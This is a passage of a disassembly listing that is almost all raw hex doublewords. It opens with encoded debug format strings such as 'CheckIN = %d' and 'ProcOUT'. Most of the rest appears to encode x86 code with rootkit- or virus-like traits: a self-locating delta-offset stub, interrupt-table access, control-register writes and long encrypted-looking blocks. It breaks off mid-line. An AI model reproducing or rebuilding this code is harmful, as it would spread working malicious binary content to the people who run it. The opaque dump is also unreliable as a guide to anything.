20202964h dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h dd 6425203Dh, 83000D0Ah, 220485BDh, 840F0006h, 12Dh, 0BAE8858Dh dd 8D500624h, 24BA5285h, 1685006h, 0FF800000h, 24BAF895h dd 0A8858D06h, 5006253Fh, 3FB2858Dh, 6A500625h, 8D006A00h dd 24BA6685h, 0B5FF5006h, 624BAE8h, 66995FFh, 858D0622h dd 6253FA8h, 0B6858D50h, 5006253Fh, 6A006Ah, 0BA78858Dh dd 0FF500624h, 24BAE8B5h, 6995FF06h, 8D062206h, 253FA885h dd 858D5006h, 6253FC2h, 6A006A50h, 0C5858D00h, 500624BAh dd 0BAE8B5FFh, 95FF0624h, 6220669h, 3FA8858Dh, 8D500625h dd 253FCA85h, 6A5006h, 858D006Ah, 624BAE3h, 0E8B5FF50h dd 0FF0624BAh, 22066995h, 0A8858D06h, 5006253Fh, 3FC6858Dh dd 6A500625h, 8D006A00h, 24BACC85h, 0B5FF5006h, 624BAE8h dd 66995FFh, 858D0622h, 6253FA8h, 0BA858D50h, 5006253Fh dd 6A006Ah, 0BAD4858Dh, 0FF500624h, 24BAE8B5h, 6995FF06h dd 8D062206h, 253FA885h, 858D5006h, 6253FBEh, 6A006A50h dd 0DB858D00h, 500624BAh, 0BAE8B5FFh, 95FF0624h, 6220669h dd 0BAE8B5FFh, 95FF0624h, 6220071h, 0A2E9h, 29BD8300h dd 62200h, 95840Fh, 0BD830000h, 62200F5h, 11850F00h, 8B000000h dd 2232C195h, 0F8C28106h, 0E900001Ch, 0Fh, 18CD958Dh, 528B0622h dd 40C28134h, 893BD4C3h, 22243995h, 39BD8306h, 62224h dd 55840Fh, 9D8B0000h, 6222439h, 8B4CC383h, 0B2858903h dd 8B06253Fh, 2224399Dh, 50C38306h, 8589038Bh, 6253FB6h dd 24399D8Bh, 0C3830622h, 89038B54h, 253FC285h, 399D8B06h dd 83062224h, 38B58C3h, 3FC68589h, 9D8B0625h, 6222439h dd 8B5CC383h, 0BA858903h, 8306253Fh, 220485BDh, 850F0006h dd 0Dh, 29BD83h, 0F000622h, 6884h, 0CAB5FF00h, 0FF06253Fh dd 253FBEB5h, 0BAB5FF06h, 0FF06253Fh, 253FC6B5h, 0C2B5FF06h dd 0FF06253Fh, 253FB6B5h, 0B2B5FF06h, 8D06253Fh, 253FAC85h dd 858D5006h, 6253FE4h, 9D858D50h, 5006222Dh, 70195FFh dd 0C4830622h, 8D406A24h, 253FCE85h, 858D5006h, 6222D9Dh dd 0FF006A50h, 2206B995h, 0FF016A06h, 2201A995h, 0E8C18B06h dd 0Dh, 3EE8EB19h, 66915C0Ah, 0B3A9D802h, 9E966h, 2F2D0000h dd 8B68E787h, 5B440D97h, 0CC381F8h, 0F00005Fh, 383h, 0B3F48000h dd 1795B9h, 2840F00h, 8B000000h, 0B433FFFBh, 6E85A88h dd 0B3000000h, 5173716Eh, 0BF0F514Ah, 81585FF9h, 2957D4F2h dd 5E93Bh, 0B8F40000h, 81BA858Fh, 0B7BF8AF2h, 0C88B603Bh dd 61E3DC80h, 4ED9C281h, 8B664327h, 0BF1389F3h, 0DE27832h dd 0D282EB81h, 860F53A5h, 1, 7EC381FCh, 8053A5D2h, 0F4924D4h dd 1485h, 0F7BF0F00h, 1BE9h, 408BE300h, 0DDAA044Fh, 0B9A40EA9h dd 0F28B666Dh, 0FFFF84E9h, 688662FFh, 11B8D620h, 0F31718EBh dd 9B46h, 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6254439h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 71B58BFFh, 81062544h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 75B53B00h, 0F062544h dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2439858Bh, 18860622h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 5195FF08h, 50062225h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2439858Bh, 0C60622h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6222439h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 62229B9h, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 0B985C700h, 62229h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 1685C700h dd 1062544h, 50000000h, 244C010Fh, 1A858FFEh, 8D062544h dd 25441285h, 1ABD8D06h, 89062544h, 23E938h, 858D0000h dd 62218CDh, 538408Bh, 9B46F317h, 44128589h, 858D0625h dd 62218CDh, 893C408Bh, 25441685h, 2F858D06h, 89062544h dd 22255185h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0A2858D00h, 89062546h, 22163585h, 0CA858D06h, 89062546h dd 220FF985h, 0F2858D06h, 89062546h, 2202B185h, 0EE86006h dd 0A000000h, 879237ADh, 0FF9A6890h, 0D134913Ah, 0D8B96637h dd 0C08B59C3h, 0DDBD83F8h, 62208h, 0BD830975h, 6220A21h dd 50197400h, 0B8C08B53h, 40Eh, 1B398589h, 9D8D0622h, 624BFC9h dd 585BD3FFh, 0A21BD83h, 74000622h, 0B8535017h, 40Eh, 1B398589h dd 9D8D0622h, 624BCB8h, 585BD3FFh, 0EE8D58Ah, 0F4000000h dd 0D422B9A3h, 7EDE82EEh, 6939EB18h, 68F0F69h, 0F000000h dd 88h, 0C08B5A00h, 83F1B70Fh, 221875BDh, 840F0006h, 5Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h dd 2F6398Eh, 0CA8123C8h, 60910987h, 254E9h, 13E95300h dd 0DB000000h, 4CD976FCh, 31D20030h, 0F284DDA7h, 2776EC1h dd 0E95E92FFh, 11h, 0DD71C78h, 0F4F37004h, 2B62C9EDh, 23E0C1ACh dd 60DF8C57h, 6661F08Bh, 4C7F7h, 213850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0F63173C3h, 8880F8Ah, 50000000h, 295EE981h, 835E2BE2h dd 220401BDh, 850F0006h, 3Bh, 0FAE98166h, 1CFE9C1h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E916E8C3h, 0Fh, 1FBB8B4Ch, 2FB26A7Bh, 40B8EF92h, 0BF329672h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CBC35646h dd 4BB99AAAh, 0B70F8D4Eh, 219D8DF2h, 5006254Ah, 1C89EC8Ah dd 0FF64F924h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 4820F09h, 66000000h, 645ACFB9h dd 2589h, 0BF0F0000h, 66C48BD6h, 0CDBB84BEh, 6600EB01h dd 6A0E13BEh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 65B2C357h, 0F155953h, 389h, 0F38B6600h dd 58F64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0B601C353h, 4C4833Fh, 840FC00Bh dd 0C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 53C35343h, 56392Eh, 5353E2F8h, 0D0D289B9h, 0E85E5A0Fh dd 0Dh, 171CB81Bh, 52E3D057h, 4B18DED4h, 0CABF0F7Fh, 8A0F615Eh dd 0Bh, 5E8h, 38CD7100h, 8D5EC69Ch, 2276A4BDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0B8D2A337h, 1, 0FFD1BF0Fh, 5C8B57E7h, 838B1024h, 0B8h dd 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 6AC3C033h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 9BEBC355h, 66F78BA3h, 0B70FCE8Bh, 0E85061D7h dd 0Ch, 0BA85651h, 0CA18A786h, 9EDD515Ch, 5E595E53h, 810FC08Bh dd 5, 0F3F18166h, 0B4BE662Ch, 0DDBD836Dh, 62208h, 0BD830975h dd 6220A21h, 50197400h, 0B8C08B53h, 40Eh, 0E598589h, 9D8D0622h dd 624C030h, 585BD3FFh, 0A21BD83h, 74000622h, 0B8535017h dd 40Eh, 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 6AC08BFCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 9226C356h, 880F6000h, 10h, 0AE8h, 71C47900h dd 42C22D49h, 5816AD03h, 61FE8B66h, 4960B966h, 8EBC28Bh dd 2 dup(0) dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 0F5858Bh, 858D0622h dd 62598EAh, 888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah, 6254B24h dd 401BD83h, 0F000622h, 0F84h, 6A6000h, 307595FFh, 0E9610622h dd 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h, 895A04CDh dd 254B2085h, 24B58B06h, 0C106254Bh, 896610CEh, 0B58B0272h dd 6254B24h, 0FC728966h, 20858B61h, 0C306254Bh, 165D958Dh dd 95890622h, 6222439h, 0E19589h, 85FF0622h, 62200E1h dd 330985C6h, 68530622h, 0FCB148D8h, 33A9B5FFh, 858D0622h dd 6223AF1h, 8589D0FFh, 6223075h, 4449858Dh, 85890625h dd 62231BDh, 30E900EBh, 0E9000006h, 624h, 254CC568h, 36E1E906h dd 0EC68FFFDh, 0E906254Dh, 0FFFD36D7h, 254E7968h, 36CDE906h dd 2868FFFDh, 0E906254Fh, 0FFFD36C3h, 25507868h, 36B9E906h dd 305DFFFDh, 0C8B3FC17h, 602F107Bh, 0F28788E3h, 8DF13E49h dd 915357BEh, 0FE093658h, 137AC9B1h, 86E15A2Eh, 2148F399h dd 0BFCBA136h, 52411F77h, 0C4E864BCh, 46473A3Bh, 473A3B32h dd 3A3B6588h, 3BD5F947h, 457473Ah, 86473A3Bh, 0C73A3B76h dd 0FA493643h, 4568AA9h, 82E7004Fh, 3A3BDEEAh, 247833C7h dd 21A86735h, 0FEBDC918h, 53EC9C99h, 7C81F738h, 4633652Bh dd 525600FDh, 1188A358h, 0E40CCEAh, 857E9ECFh, 0D043D93Eh dd 0BDCF3AF1h, 5D408FEh, 58696F9Bh, 49BC1h, 70CBB200h dd 0E4632819h, 4CFB848Dh, 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h dd 161B72D1h, 838CE764h, 0FE234AF5h, 935AB58Eh, 770256C6h dd 23F7411Fh, 3A0577C3h, 3B085BE9h, 60CD473Ah, 0E7602C08h dd 4EF9838Ch, 29ACD01Dh, 0F0BE3C48h, 7CF9826Dh, 879C2AFEh dd 0BDFA1F5Eh, 0B3C755CCh, 66473A29h, 0A4C71457h, 0D0A2D78h dd 0F84349EBh, 6C39269Fh, 6AD3E241h, 0BBE85325h, 1B3B2478h dd 51F2FF66h, 0A87FC6BFh, 31F5A1BFh, 3DB22E3h, 58550000h dd 0A5C01532h, 577A77Fh, 85BE93Ah, 0EE473A3Bh, 3D4FE503h dd 1760EB02h, 82D38AAEh, 0DA06C7F4h, 0E9D5E5B7h, 7538473Ah dd 0A8D62320h, 4C3C459Bh, 67B48FFDh, 0A5EA0544h, 2A1962D7h dd 2A7BBAF9h, 0F8513A2Ah, 0F5DE55h, 0BCE50C4Fh, 92677D0h dd 0E008E481h, 15473AB2h, 9C0C67A6h, 473AB248h, 0F5262555h dd 0A9F1AB90h, 4C473AB2h, 0ED2C1B6Fh, 138AC710h, 154B3D5Fh dd 0A6C310C3h, 11E15BDDh, 85DB28F3h, 289FD854h, 2D804918h dd 0BD797D5Dh, 42DDEEF5h, 374h, 3E49F29Bh, 52BD8AF1h, 0CA25226Dh dd 608BB4C5h, 99F04F3Fh, 0F886CF91h, 8BFF204Bh, 1C6C55BCh dd 0B5C7C823h, 9FF8638Ah, 1F76FD0Dh, 0AA7A1041h, 0E93A0577h dd 0F881B8C4h, 0AEEB0C4Fh, 0FB3065DEh, 4467B493h, 498EDF05h dd 3B608864h, 2695473Ah, 7CCBBFFAh, 3B23B315h, 9DA1473Ah dd 0A8473A4Bh, 0FC201F6Bh, 6186C5B5h, 560A22A0h, 0B2EE8684h dd 0AAB5D96Bh, 0CC87473Ah, 958A6287h, 7A49188Ah, 1C7D4733h dd 0C9DAF5BDh, 2E776h, 0C47F0E00h, 281764ADh, 90AFD0C1h dd 6414879h, 6FDCA2EFh, 9422204h, 62AFC685h, 0DFC02B18h dd 4A779EA9h, 67EEF942h, 754E9A12h, 0EFA3411Fh, 1C057737h dd 3A3B7880h, 0DF1E9D47h, 201B618Eh, 3DBBB4F3h, 43AA95E7h dd 0F3DBBEB3h, 2631B51h, 0E8030000h, 473A3BC4h, 7D94AFD9h dd 9EFB4434h, 81177B25h, 356B5D63h, 92ADDB10h, 0CF292641h dd 0F1182355h, 0F374302Dh, 628551h, 0E3300000h, 6CDBA099h dd 68BDFC3Fh, 6F57ADF7h, 89C89198h, 0D60B3AECh, 2C70E412h dd 64AB5890h, 3D066903h, 0C4F74918h, 0BDBF0032h, 0ED7C4DF5h dd 238h, 0FA152E5Fh, 6E79C6B5h, 86E15E21h, 3C57F099h, 55BC8BF3h dd 345A9355h, 0C7B3FC17h, 58201178h, 0F19B84EFh, 0A3343F56h dd 1F74A1C9h, 66BE5441h, 9EEB28B1h, 351A7FA5h, 60B592F8h dd 354D1F45h, 0D8473A3Bh, 1D6B80D5h, 0C7C8C522h, 0F63B2478h dd 6C68BD86h, 0D1DE2978h, 167B9CA7h, 3A3B7286h, 0C814A747h dd 0DF4DB287h, 473A3B8Bh, 0E8114F6Eh, 254A9BA4h, 8491F655h dd 0A3547F6h, 55B9AD9h, 614613DAh, 3A3B7F8Bh, 67159247h dd 12479DDCh, 3A3B4E9Ah, 0EF08A347h, 3361DAA2h, 8DBAC5EAh dd 145B1262h, 6AD9A6F3h, 87A6FA39h, 0FD4A3542h, 8AF08DA8h dd 691C0E1Dh, 0E0AFCA16h, 0EF2E1D6Dh, 4AF00484h, 11C2473Ah dd 8740A5C2h, 8E8E382Ch, 8E58842Ah, 491807ADh, 0E12E4B62h dd 7542AD9Ah, 0A6F75038h, 6B105987h, 0F94A8FDCh, 28577145h dd 0D2ABCA1Bh, 98C47B56h, 0CF1C2751h, 42018D8Ah, 638ED211h dd 0C2CF2817h, 0A15A8BB8h, 83538325h, 68B4F7CFh, 0D06F105Dh dd 45494683h, 17B81BBCh, 86B961D9h, 3BF11655h, 4118D1EFh dd 6375AB02h, 0E1C62370h, 18D1FF0Bh, 459B1241h, 0AA6B9814h dd 0F1BC4F3Ah, 9AD82B09h, 9867B0EFh, 0E8h, 0AAC57E0Fh dd 0DE291665h, 7691AED1h, 0EC074049h, 56CDBA3h, 840A4325h dd 1763ACC7h, 0A8D0C128h, 414B749Fh, 1364EF06h, 1F6B7199h dd 36EEA441h, 47340577h, 592F03F8h, 0D58BC981h, 602C4192h dd 67582E7h, 3DEF1439h, 473A2DEDh, 366AAD00h, 2147D017h dd 1FE87903h, 82F6CC74h, 0A8F0A059h, 4D473ADAh, 1ABA46D4h dd 6CAF85CDh, 3D30C22Dh, 5451F34Eh, 3F1B966Fh, 0EA3A5E43h dd 3A7FEE3Ah, 74A80347h, 2CA9h, 0C0CFCC00h, 1142018Dh dd 0B14D93D2h, 3A3BC7E8h, 85B4D847h, 0DA194AF9h, 1C197E9Bh dd 0F703D572h, 1A473A3Bh, 0CF024D93h, 2Bh, 2C525F37h, 1727C11Fh dd 22473A3Bh, 3397561h, 88D497C4h, 0C7201B61h, 99FE0AE2h dd 9813473Ah, 999DAD7Fh, 3D70473Ah, 5726FCE7h, 2B086h dd 0F34B0000h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h, 0F92A1961h dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h dd 5F545769h, 4C781h, 0EF830000h, 243C8704h, 5B6A685Ch dd 14890000h, 54136824h, 1C890000h, 6A9BBA24h, 0E2D16F86h dd 32CAC281h, 0BF573896h, 531562CCh, 4708EFC1h, 5B75EF81h dd 0E7D13DD9h, 0DF7814Fh, 29958EC8h, 8B545FFAh, 0C481241Ch dd 4, 66B85052h, 1113779h, 58042444h, 8108438Fh, 7966086Bh dd 34FF1137h, 0C4815B24h, 4, 5024148Bh, 405E089h, 83000000h dd 48704C0h, 0D4E95C24h, 32FFFD30h, 0F4E938B0h, 933B7E53h dd 0BEB7524Ch, 255185B8h, 8BC50306h, 20EBD1h, 7 dup(0) dd 0E9000000h, 58Ch, 580E9h, 54086800h, 88E90625h, 68FFFD30h dd 62554A8h, 0FD307EE9h, 566268FFh, 74E90625h, 68FFFD30h dd 62556E8h, 0FD306AE9h, 0C47F0EFFh, 281764ADh, 90AFD0C1h dd 6414879h, 6FDCA2EFh, 9422204h, 62AFC685h, 0DFC02B18h dd 4A779EA9h, 67EEF942h, 694E9A12h, 0EFA3411Fh, 2BE65F37h dd 51EFD380h, 93FC055Bh, 81D567B4h, 7FC73A61h, 1E5376F2h dd 0BBD1F385h, 29h, 3BC7E863h, 0FCF7473Ah, 374552B7h, 409CDF0Ch dd 90A9B11h, 0C6E3491Dh, 204B8AB9h, 93B0DAD7h, 66FD2342h dd 70h, 29525FCCh, 0C252611Ah, 51F98F20h, 0BF557903h, 0A760473Ah dd 336C250Ah, 0DD3F65FEh, 693A6326h, 4AA4F4A8h, 6249473Ah dd 919ABD99h, 0C7D4395Eh, 3F4489B2h, 3A1F5D6Dh, 0BAFDB047h dd 0E63A0975h, 1D2D7144h, 0C9B5C249h, 14390674h, 4EED96C9h dd 73C03CC4h, 9C1F0A56h, 49503E7Bh, 5B38600Ah, 61B2F545h dd 23772542h, 0D6411F74h, 0FC56B9E7h, 0DE3B0877h, 3B97D65h dd 0F02C0A1Ch, 22D7B0D5h, 8A0C343Ch, 7DD476AAh, 831173FEh dd 0A5EA4AAEh, 706D4FA6h, 252CA2Fh, 0EFC73AD9h, 0E5DAABCCh dd 0BC9FFDA4h, 2968D3B9h, 0EF9DD2EBh, 28DB3D54h, 0E859BEDBh dd 6F6A2B9Eh, 0D577ADD4h, 0C9186776h, 0B6C25ABFh, 5BC11866h dd 0A6150C50h, 712B1075h, 0C1186629h, 0E9B3E1CCh, 0C11866C5h dd 173ABE3Bh, 0CBD17A5Ah, 657Fh, 0AB58A700h, 78B11CDEh dd 744F3413h, 4CADECF8h, 1D00A3D0h, 0C0199449h, 870C9B3h dd 8CCFEE3Fh, 0F7503C65h, 0BA6F7603h, 57AAFBF5h, 318h dd 0DA350E7Fh, 4E99A6D5h, 0E6013E41h, 1C77D0B9h, 0B5DC6B13h dd 147AB3B5h, 0A7D3DC37h, 38407198h, 0D1BBE40Fh, 83D41F76h dd 1F6FC1E9h, 869E3441h, 2E3A5h, 0E65F8900h, 0F17B8083h dd 0D77407EEh, 5E214894h, 0DCE0BCE1h, 5E473AC2h, 473AC28Eh dd 3AC2F90Ch, 0C2297D47h, 9BAB473Ah, 19473AC2h, 873AC2F5h dd 0A2C70CC7h, 0C01C2755h, 1C6FAC91h, 9357F12Fh, 5E891DC0h dd 0C61A2951h, 9B1A6E4Bh, 65F7536Dh, 0B4A8D83h, 7AC9BADAh dd 359C8F1Dh, 3A718F3Dh, 98ABB74Ch, 0AAB5862Fh, 278h, 7A95AEDFh dd 0EEF94635h, 661DEA1h, 0BCD77019h, 0D53C0B73h, 0B4DA13D5h dd 47337C97h, 0D8A091F8h, 711B046Fh, 23B4BFD6h, 1F6F2149h dd 0E63ED441h, 96A27A5Fh, 8B473A3Bh, 0D4174403h, 8954FA6Bh dd 0EBFC7DCCh, 3F4D74A8h, 4DB2D704h, 3A3E8BDFh, 0A4562A47h dd 0A651ECAEh, 8CCE1299h, 0BD6F88D7h, 491DD34Ch, 0BAE70EADh dd 3A1F76D5h, 6FB592FDh, 0DD0E3D42h, 12137BB8h, 1C174E9Ah dd 0C908A341h, 0D13B5984h, 7FBCDD22h, 0EDEC300Fh, 3B25C23Fh dd 41C2334Fh, 315F714Ch, 13A428Fh, 375E91DCh, 71004195h dd 3380734Bh, 321F46D6h, 0AD004556h, 23D4F4Ch, 63D6A6EBh dd 0BEFD2E19h, 0E4A91A7Fh, 74422285h, 0E3B1D408h, 554A47C3h dd 7C9DE291h, 6D75A1A0h, 9EFBB25Bh, 3950EB91h, 6ABB8408h dd 0AFF49ADAh, 0D24AAF5Fh, 5FAFF486h, 0FA1C406Bh, 0CF5DBA09h dd 5188C692h, 4A9E0E83h, 5F598119h, 88231C2Bh, 99E33049h dd 3F4C49AEh, 8EB3DC00h, 0F31045FEh, 8669A212h, 0D90449F2h dd 9840CE1Ch, 12611244h, 74D3B8F5h, 0B9D80427h, 0A64092E3h dd 2256A357h, 6F4EFB19h, 0A05E6E3Eh, 39A063DAh, 40D588BFh dd 0EF2C2D13h, 0D273A19Ah, 0Ch, 4EC4E878h, 70B473Ah, 0FB000000h dd 3A51C4E8h, 0AB584C47h, 4EDE0364h, 473A3B3Ah, 3B459507h dd 5A8473Ah, 2E23713Ch, 1D090B7Eh, 0A8C1EC49h, 44F18243h dd 0F0D36C41h, 1F651820h, 59BEFD41h, 1F65B7C3h, 0D535A41h dd 0E6B69BF8h, 411F65D2h, 2E287447h, 1389EE35h, 4F3D16E0h dd 0D9986E4Dh, 44EF9849h, 0BEF44Bh, 68150000h, 8BB4DFh dd 98E72843h, 2A5F40ABh, 0C5C9F611h, 591B6F86h, 0B6D16E10h dd 2B420189h, 5EA992E6h, 0F9102B51h, 67B3690Eh, 8A411F6Dh dd 0E65F5CC4h, 0DB8C19ECh, 4597CD97h, 82D2FB8Eh, 4A7924Ch dd 81C8A4C5h, 0AA491D3Bh, 0F22E1D6Dh, 25277447h, 0A388E12Eh dd 0FE4D317Eh, 1FBF1A2Eh, 60BCFF41h, 3D9871C6h, 1205FE4Fh dd 0F292A87Eh, 29712B4Ch, 0CC4B7DC0h, 3786B3E1h, 97C09843h dd 0B5B485EFh, 38h, 3A55EE9Fh, 0AEB986F5h, 0C6211E61h dd 7C97B0D9h, 95FC4B33h, 0F49AD395h, 87F33C57h, 186051B8h dd 0B1DBC42Fh, 0E3F47F96h, 1F6DE109h, 0A67E1441h, 3A5h dd 73CB8900h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h, 0F92A1961h dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h dd 0E7895769h, 4C781h, 0EF830000h, 243C8704h, 242C895Ch dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 8952240Ch dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2414895Ch, 25527968h dd 240C8B06h, 4C481h, 8B540000h, 0C4832414h, 7F986804h dd 0C890000h, 8428F24h, 5724148Bh, 0C781E789h, 4, 4C781h dd 3C870000h, 34FF5C24h, 0C4815924h, 4, 0FD2B1AE9h, 8680BBFFh dd 0BB92639Eh, 5745B8A4h, 0C5030625h, 51E9C88Bh, 60000000h dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h, 66000000h dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h, 8F0F0C7Ah dd 15h, 8B28EA83h db 42h byte_530055 db 0Ch, 8Bh, 4Ah ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co dd 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h dd 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 152E900h, 0CD680000h dd 0ECE73774h, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h dd 38AEh, 3C00h, 4000h, 2 dup(0) dd 400h, 9400h, 500h, 100h, 0A2800h, 200h, 26h dup(0) dd 1F28E9h, 5C0F6800h, 48E90625h, 68FFFD29h, 6255CCAh dd 0FD293EE9h, 5DA868FFh, 34E90625h, 68FFFD29h, 6255E50h dd 0FD292AE9h, 5F1768FFh, 20E90625h, 68FFFD29h, 6255FD5h dd 0FD2916E9h, 60B368FFh, 0CE90625h, 68FFFD29h, 625615Fh dd 0FD2902E9h, 651368FFh, 0F8E90625h, 68FFFD28h, 625657Bh dd 0FD28EEE9h, 669568FFh, 0E4E90625h, 68FFFD28h, 62569B2h dd 0FD28DAE9h, 6CFB68FFh, 0D0E90625h, 68FFFD28h, 6257041h dd 0FD28C6E9h, 71A168FFh, 0BCE90625h, 68FFFD28h, 6257222h dd 0FD28B2E9h, 727268FFh, 0A8E90625h, 68FFFD28h, 62572CCh dd 0FD289EE9h, 748B68FFh, 94E90625h, 68FFFD28h, 6257577h dd 0FD288AE9h, 776868FFh, 80E90625h, 14FFFD28h, 8AB7DE69h dd 0E62B4201h, 5E43AA99h, 0C8F9102Bh, 186E79C6h, 0D06F1F58h dd 450288B9h, 0A893E52Ah, 132C5041h, 0B46871F8h, 411F6164h dd 5F5DC589h, 0CE1F2C52h, 2F1C62AFh, 5861BFFEh, 2B7F2D34h dd 0CE473A3Bh, 0FA4BACEFh, 0B61EC786h, 35508C9Ch, 40AB94F8h dd 4A328370h, 7DBC8BFFh, 0E04FDD3Ah, 0B54918E5h, 0E894E106h dd 0B1EF0E5Fh, 94B4D894h, 0DFA94118h, 5AD23764h, 4118940Eh dd 0F587C8E3h, 64C9194Ah, 0AF022E04h, 89A5D1D6h, 0DF80F842h dd 3814E10Bh, 67C21E73h, 5A93CE01h, 4D264BD1h, 51000000h dd 0F34327F0h, 0F92C7862h, 48D6AFA4h, 0DF4DAAD7h, 4118648Bh dd 7D114F6Eh, 364AB58h, 18416669h, 0B7E4D749h, 1831D1E5h dd 46A22F41h, 78C3C9C6h, 0D17DF024h, 33944BD1h, 43346DDAh dd 2118E584h, 714145E0h, 0F5B69FC5h, 9C000000h, 0DD3A0577h dd 4E9FA8D0h, 87D4F12Fh, 0D61B48F7h, 177C9DA6h, 0DDA2ADAEh dd 8C5C5B08h, 473ADF7Ch, 0DC6B1491h, 0F72D6C8Fh, 0D04CB1D6h dd 473ADF88h, 0D7124E6Dh, 0E5E894A5h, 2487C5F9h, 0B8ED2C45h dd 71D33A7Dh, 473A7A6Ch, 5DB48FFDh, 0CE1F2854h, 0A0C8A489h dd 55473A6Ah, 0F7242368h, 2D2F75B4h, 1C90E936h, 491801F3h dd 2636515Ch, 0A4A3E82Dh, 94F53477h, 3CC03F18h, 0BBC3E04Fh dd 0D31C5F8Ch, 3E5B9AA5h, 72BF88F1h, 0CCEF3C07h, 4A344190h dd 0E5B79CFDh, 4B7D17D5h, 2B78C7C8h, 0CAA23708h, 4B7D17BEh dd 0FB195853h, 